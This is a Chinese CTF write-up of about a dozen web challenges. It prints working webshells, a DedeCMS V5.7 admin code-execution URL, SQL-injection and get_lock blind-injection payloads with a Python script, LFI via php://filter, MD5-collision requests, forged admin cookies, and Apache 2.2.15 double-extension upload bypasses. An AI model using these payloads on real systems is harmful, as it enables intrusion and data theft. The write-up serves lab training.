全是Web题,虽然大都是原题,但是质量不错,刷完后感觉学到了不少知识。
爱い窒息、痛
非主流老哥的后门,你进得去么,靶机:http://114.55.36.69:8020
这道题的考点在于
检测ua头中有没有传入值的md5加密后的字符串
绕过字符串切分,成功拼接url
利用$f($d)
类型的一句话木马
访问http://114.55.36.69:8020/upload/dama.xxxx
得到源码
php格式化后http://www.jsons.cn/phpformat/
,进行审计
1 2 3 4 5 6 7 $a = isset ($_POST['pass' ]) ? trim($_POST['pass' ]) : '' ; if ($a == '' ) { echologin(); } else { chkpass($a); helloowner($a); }
可以看到最开始,如果当参数pass
不为空的时候,调用chkpass
函数进行判断
1 2 3 4 5 6 function chkpass ($a) { if (stripos($_SERVER['HTTP_USER_AGENT' ], md5($a)) === false ) { echofail(1 ); } return true ; }
而chkpass
则是检测,user_agent
头里有没有,md5加密过的pass
参数的值
向下接着看helloowner
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function helloowner ($a) { $b = gencodeurl($a); $c = file_get_contents($b); if ($c == false ) { echofail(2 ); } $d = @json_decode($c, 1 ); if (!isset ($d['f' ])) { echofail(3 ); } $d['f' ](\img\images\$d['d' ]); } function gencodeurl ($a) { $e = md5(date("Y-m-d" )); if (strlen($a) > 40 ) { $f = substr($a, 30 , 5 ); $g = substr($a, 10 , 10 ); } else { $f = 'good' ; $g = 'web.com' ; } $b = 'http://' . $f . $g; return $b; }
helloowner
则是进行url切分拼接,和json_decode后执行$d['f'](\img\images\$d['d']);
这里可以把url切分函数,单独分离出来,搭在到本地进行测试
1569595787704
成功绕过。
而$d['f'](\img\images\$d['d']);
可以用于构造命令执行的一句话木马(这里构造代码执行eval一句话失败,无法被执行)
这里构造paload
1 2 3 4 5 6 7 8 <?php $url = array ( "f" =>"system" , "d" =>"cat ../flag.php" ); $url = json_encode($url); echo $url; ?>
最终访问输出如下
1 {"f":"system","d":"cat ..\/flag.php"}
构造并发送payload,获得flag
1569165402859
dedecms
放出来好几天的东西,随便玩玩http://114.55.36.69:8008
默认后台,后台管理员登陆页面弱口令admin/admin
发现dedecms版本为DedeCMS_V57_UTF8_SP2 ,在网上可以找到它的后台代码执行漏洞,https://www.freebuf.com/vuls/164035.html
访问http://114.55.36.69:8008/dede/tpl.php?action=upload
,右击查看源代码获取token值
1569326445947
写入一句话木马
http://114.55.36.69:8008/dede/tpl.php?filename=flag0.lib.php&action=savetagfile&content=%3C?php%20system($_POST[%27cmd%27]);%20?%3E&token=89f28c36f44cd0849bc2c43880b5dd18
1569330050134
访问写入的木马获取到flag路径
1569330251722
getflag
1569330321021
新的新闻搜索
你以为还是简单的新闻搜索网站么 http://114.55.36.69:8030
这里过滤了union
、select
使用mysql内联注释进行绕过
1569594314883
常规操作
常规操作,试一试 http://114.55.36.69:8009/
这里存在本地文件包含,且php拼接后缀
发现其web根目录下存在flag.php
,直接php伪协议读取
1 http://114.55.36.69:8009/index.php?url=php://filter/read=convert.base64-encode/resource=flag
1569594518980
base64解码即可得到flag
1569594566506
新闻搜索
简单的新闻搜索网站 http://114.55.36.69:8010
简单的post注入
1569594128673
一个hackerone的有趣的漏洞的复现
ctf打多了,现在咱们把hackerone的漏洞复现一下吧。小曾师傅花了好几天写了一套模拟hackerone上的漏洞的程序,恩阿。很有趣哦~这可是企业实实在在遇到的问题哦!不是脑洞大开题 请各位亲们谨慎思考。靶机:http://114.55.36.69:8023
注册用户绑定自己邮箱
获取校验链接
请求校验链接
在请求校验链接的同时,修改绑定邮箱为管理员邮箱如果能够在代码执行“校验成功”和“更新账户绑定邮箱状 态”步骤之间成功修改邮箱,就能直接将邮箱状态设置为已校验(条件竞争/时间竞争)
详细步骤
奇怪的恐龙特性
大约在15亿年前,生活在地球上的恐龙中有一种很奇怪的恐龙,他们有一种奇怪的特性,那就是当在捕杀猎物的时候,如果猎物发出惊讶的表情的时候,他们也会发出惊讶的表情来告诉猎物“你们快要死了”,然而这种特性并没什么用处。。。因为我编不下去了。。以上这个故事是我瞎编的。。。靶机:http://114.55.36.69:8022
这是一道代码审计题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file(__FILE__ ); ini_set("display_error" , false ); error_reporting(0 ); $str = isset ($_GET['A_A' ])?$_GET['A_A' ]:'A_A' ; if (strpos($_SERVER['QUERY_STRING' ], "A_A" ) !==false ) { echo 'A_A,have fun' ; } elseif ($str<9999999999 ) { echo 'A_A,too small' ; } elseif ((string)$str>0 ) { echo 'A_A,too big' ; } else { echo file_get_contents('flag.php' ); } ?>
$_SERVER['QUERY_STRING']
会获取到所有的文件后面传递的所有参数。
下面的实验可以直观的展现出它的作用
1569593877564
php有以下特性
php自身在解析请求时,会把+和.解析成下划线
数组与数字比较,永远大于数字
字符a在和整形进行弱类型比较时,会被强制转换成整形,其值为0
利用以上特性进行绕过
1569593465305
新瓶装旧酒
瓶子里的酒啊,越久越好,靶机:http://114.55.36.69:8017
作为一个不会代码审计的弱鸡,看了两个小时代码,猜测可能在上传解压后判断文件名不合法然后删除文件的地方存在条件竞争
1 2 3 4 5 6 7 8 foreach ($files as $name){ if (!in_array(getExt($name), array ('.jpg' ,'.png' ,'.jpeg' ,'.gif' )) || strpos($name, '.ph' ) !== false ){ unlink($tmpdir.'/' .$name); continue ; } $files_num++; echo "/upload/" .md5($tmpname)."/{$name}\n" ; }
结果发现每次上传的时候都会有几秒的sleep时间,并不能成功竞争,并且如果爆破的话,会导致web无法正常访问。
最后发现是考点是apache2.2.15的解析漏洞,跟代码怎么写没有关系。。。
在apache2.2.15版本的情况下,test.php.png
及.jpg
、.gif
等均会被解析成php文件来执行,高版本的apach服务器不存在此漏洞。
尝试上传压缩包中名字为test.php.png
的一句话木马时无法上传成功,判断可能黑名单检测php,这里我们上传文件名test.PHP.png
为的一句话木马。
1569592989615
上传成功,得到flag
1569593070099
sleepcms
要学习新的内容才能做出来 http://114.55.36.69:8007
访问http://114.55.36.69:8007/robots.txt
1 2 3 4 INSERT INTO `article` (`id` , `title` , `view_times` ,`content` ) VALUES (1 , 'admin\' flag' ,0 , 'xxxxxxxxxxxxxxxxxxxxxxx' ), (2 , 'hello guest' ,0 , 'hello guest,you want is not here~~' ), (3 , 'some hint' ,0 , 'long or short?\r\nsleep and injection!' );
从题目名称和robots.txt文件可以猜测,该题目考察的是基于时间的盲注
发现此处存在黑名单
1569590980040
经过测试发现其检测sleep
、benchmark
函数,这里我们可以利用等价函数get_lock()
来进行延时注入
参考资料https://www.cesafe.com/3993.html
可以注入出数据库名
1569591287954
但是向下不得不使用select
语句进行注入,这道题同样检测select
此时可以不使用传统的数据库名=>表名=>字段名=>数据
的方式来进行注入,可以利用mysql 同库不需要select查表,直接可以查询字段名的特性来进行构造sql注入语句
1 id=1' and if(ascii(substr((content),1,1))>1,get_lock('test',3),1)%23
此时要注意使用get_lock
函数时需要开两个session测试,第二次测试才会有正常的延时。
根据语句写出盲注脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport timedata = '' url = "http://114.55.36.69:8007/article.php?id=1'" for i in range(47 ): for c in range(32 ,127 ): url_req = url + " and if(ascii(substr((content),{0},1))={1},get_lock('test',3),1)%23" .format(i+1 ,str(c)) print(url_req) start_time = time.time() res = requests.get(url_req) end_time = time.time() if (end_time - start_time) > 2.5 : data += chr(c) print(data) break ; print('data:' ,data)
运行得到flag
1569593101648
md5
md5 crash http://114.55.36.69:8006
右击查看源代码
1 MD5 cracking<!-- if((string)$_POST['data1']!==(string)$_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2']))-->fail
发现进行了类型转换,并且使强类型比较,可以使用md5碰撞生成器,生成两个内容不同,但是md5相同的问题件,来进行攻击
使用fastcoll工具来进行md5碰撞攻击
1 fastcoll_v1.0.0.5.exe -p .\a.bin -o a1.bin a2.bin
用python来进行读取然后进行url编码
1 2 3 4 5 6 7 8 9 10 11 import urllib.parseimport requestsf1 = open("a1.bin" ,"rb" ).read() f2 = open("a2.bin" ,"rb" ).read() data = { 'data1' :f1, 'data2' :f2, } flag = requests.post("http://114.55.36.69:8006" ,data=data).text print(flag)
1569590806621
简单的md5
简单的md5 http://114.55.36.69:8004
访问后右击查看源代码
1 easy MD5 cracking <!--$_POST['data1']!=$_POST['data2']-->fail
直接传参
1569589959820
秘密的系统
不久前才开发的系统,功能也还不完善,代码也还有待改进 http://114.55.36.69:8014/
访问http://114.55.36.69:8014/web/robots.txt
发现
1 2 User-agent: * Disallow: index.php?r=site/loginuser_1
访问http://114.55.36.69:8014/web/index.php?r=site/loginuser_1
右击查看源代码
1 2 3 4 <!-- *** author: cib_zhinianyuxin.com *** code: github.com -->
给出了github的地址,通过它找到了作者留在github上的hint
1 2 3 4 5 6 7 8 9 10 11 12 It's just a system which is not completed , there are some tips: you can use test/cib_sec to login ,but you are not admin! only admin can upload file ,but whichone can not bypass my rules. /** $sign = array( 'id'=>$model->id, 'name'=>$model->username, 'sign'=>md5($model->id.$model->username), ); $_COOKIE['Cib_security'] = serialize($sign); **/
获得了一个测试账号test/cib_sec
和cookie生成的php代码
1 2 3 4 5 6 $sign = array ( 'id' =>$model->id, 'name' =>$model->username, 'sign' =>md5($model->id.$model->username), ); $_COOKIE['Cib_security' ] = serialize($sign);
我们用测试账号登陆
发现权限是游客,upload功能无法使用
1569586043107
我们来分析test用户的cookie,对其进行urldecode和反序列化操作
1 2 3 4 5 Array { [id]=>2 [name]=>test [sign]=>7 cbab5cea99169139e7e6d8ff74ebb77 }
根据github上的生成信息来伪造管理员的cookie
1 2 3 4 5 6 7 8 9 <?php $signAdmin = array ( "id" =>1 , "name" =>'admin' , "sign" =>'6c5de1b510e8bdd0bc40eff99dcd03f8' ); $cib_sec = urlencode(serialize($signAdmin)); echo $cib_sec;?>
获得cookie
1 a%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A4%3A%22sign%22%3Bs%3A32%3A%226c5de1b510e8bdd0bc40eff99dcd03f8%22%3B%7D
通过burpsuite替换cookie访问upload页面
1569586575730
成功访问upload页面
1569586616551
我们利用上传点来上传我们的webshell
1 <?php system($_POST['cmd' ]); ?>
上传点存在白名单验证,从返回包可以得知其是apache2.2.15,apache2.2.15版本具有文件解析漏洞,可以把test.php.png
当作php文件来解析执行,apache高版本不存在此漏洞,这里我们可以使用apache2.2.15的解析漏洞来绕过白名单限制。
1569586798936
成功上传,访问得到flag
1569586832636
game
玩个蛇皮 http://114.55.36.69:8011
这个题是一个用js实现的贪吃蛇游戏
1569586981298
玩一局就可以看到它的长度显示了出来,右击查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html> <html > <head > <title > Game</title > <link rel ="stylesheet" type ="text/css" href ="./css/game.css" /> </head > <body > <div id ="game-area" tabindex ="0" > </div > <script type ="text/javascript" src ="./js/game.js" > </script > <script type ="text/javascript" > var mySnakeBoard = new SNAKE.Board( { boardContainer: "game-area", fullScreen: true }); </script > </body > </html >
可以看到这里加载了game.js
文件,我们访问http://114.55.36.69:8011/js/game.js
1 2 3 if (me.snakeLength > 2500){ ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); }
可以看到当长度>2500时执行这段aaencode代码,直接利用firebug进行调试, 执行加密结果,返回为一个假的flag,执行代码后,DOM树, 发现window[‘flag’]选项,发现flag
1569589283882